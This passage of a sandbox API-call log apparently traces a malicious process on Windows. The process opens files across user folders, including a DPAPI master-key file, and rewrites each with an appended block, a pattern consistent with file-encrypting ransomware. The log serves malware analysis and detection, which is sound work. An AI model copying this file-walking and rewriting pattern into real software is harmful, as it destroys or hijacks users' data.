SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x71630 [0068.253] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.253] ReleaseMutex (hMutex=0x128) returned 1 [0068.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x64.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vcredist_x64.exe", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vcredist_x64.exe", lpUsedDefaultChar=0x0) returned 16 [0068.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0068.254] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x70630 [0068.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.254] CloseHandle (hObject=0x1b0) returned 1 [0068.254] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.254] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.254] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x23588 [0068.254] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.254] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.254] ReleaseMutex (hMutex=0x128) returned 1 [0068.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0068.254] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeMinimum_x64.msi", cchWideChar=25, lpMultiByteStr=0x1e7faec, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeMinimum_x64.msi", lpUsedDefaultChar=0x0) returned 25 [0068.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0068.255] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x22588 [0068.255] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.255] CloseHandle (hObject=0x1b0) returned 1 [0068.255] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.255] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.255] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x23588 [0068.255] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.255] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.255] ReleaseMutex (hMutex=0x128) returned 1 [0068.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="vc_runtimeAdditional_x64.msi", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vc_runtimeAdditional_x64.msi", lpUsedDefaultChar=0x0) returned 28 [0068.255] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0068.255] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x22588 [0068.256] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.256] CloseHandle (hObject=0x1b0) returned 1 [0068.256] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\Microsoft Feeds~\\Microsoft at Home~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\microsoft feeds~\\microsoft at home~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.256] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.256] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7000 [0068.256] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.256] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.256] ReleaseMutex (hMutex=0x128) returned 1 [0068.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Home~.feed-ms", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0068.256] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft at Home~.feed-ms", cchWideChar=26, lpMultiByteStr=0x1e7faec, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft at Home~.feed-ms", lpUsedDefaultChar=0x0) returned 26 [0068.256] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.427] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6000 [0068.427] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.428] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6000 [0068.428] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.428] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.428] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d7d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.428] CloseHandle (hObject=0x1b0) returned 1 [0068.429] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.429] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.429] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x105000 [0068.429] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.429] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.429] ReleaseMutex (hMutex=0x128) returned 1 [0068.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CurrentDatabase_372.wmdb", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0068.429] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CurrentDatabase_372.wmdb", cchWideChar=24, lpMultiByteStr=0x1e7faec, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CurrentDatabase_372.wmdb", lpUsedDefaultChar=0x0) returned 24 [0068.429] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.433] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.436] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x104000 [0068.436] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.453] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x104000 [0068.454] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.454] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.454] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0068.456] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.456] CloseHandle (hObject=0x1b0) returned 1 [0068.456] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.456] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.456] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x401 [0068.456] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.457] ReleaseMutex (hMutex=0x128) returned 1 [0068.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="09_Music_played_the_most.wpl", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0068.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="09_Music_played_the_most.wpl", cchWideChar=28, lpMultiByteStr=0x1e7faec, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="09_Music_played_the_most.wpl", lpUsedDefaultChar=0x0) returned 28 [0068.457] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a348, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x340f2bc*=0x401, lpOverlapped=0x0) returned 1 [0068.458] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.458] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x989, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x989, lpOverlapped=0x0) returned 1 [0068.458] CloseHandle (hObject=0x1b0) returned 1 [0068.458] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.459] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.459] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x200000 [0068.459] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.459] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.459] ReleaseMutex (hMutex=0x128) returned 1 [0068.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edbres00001.jrs", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.459] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="edbres00001.jrs", cchWideChar=15, lpMultiByteStr=0x1e6340c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="edbres00001.jrs", lpUsedDefaultChar=0x0) returned 15 [0068.459] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0068.461] ReadFile (in: hFile=0x1b0, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.462] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ff000 [0068.462] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0068.463] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ff000 [0068.464] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0068.466] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0068.466] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0068.467] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0068.467] CloseHandle (hObject=0x1b0) returned 1 [0068.467] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Shades of Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.467] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.467] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xed [0068.467] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.467] ReleaseMutex (hMutex=0x128) returned 1 [0068.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shades of Blue.htm", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0068.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Shades of Blue.htm", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Shades of Blue.htm", lpUsedDefaultChar=0x0) returned 18 [0068.468] ReadFile (in: hFile=0x1b0, lpBuffer=0x2738a58, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2738a58*, lpNumberOfBytesRead=0x340f2bc*=0xed, lpOverlapped=0x0) returned 1 [0068.468] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.468] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x675, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x675, lpOverlapped=0x0) returned 1 [0068.469] CloseHandle (hObject=0x1b0) returned 1 [0068.469] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.469] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.469] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1d4 [0068.469] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.469] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.470] ReleaseMutex (hMutex=0x128) returned 1 [0068.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0068.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cchWideChar=36, lpMultiByteStr=0x1eb2244, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpUsedDefaultChar=0x0) returned 36 [0068.470] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x340f2bc*=0x1d4, lpOverlapped=0x0) returned 1 [0068.470] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.470] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x75c, lpOverlapped=0x0) returned 1 [0068.471] CloseHandle (hObject=0x1b0) returned 1 [0068.471] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 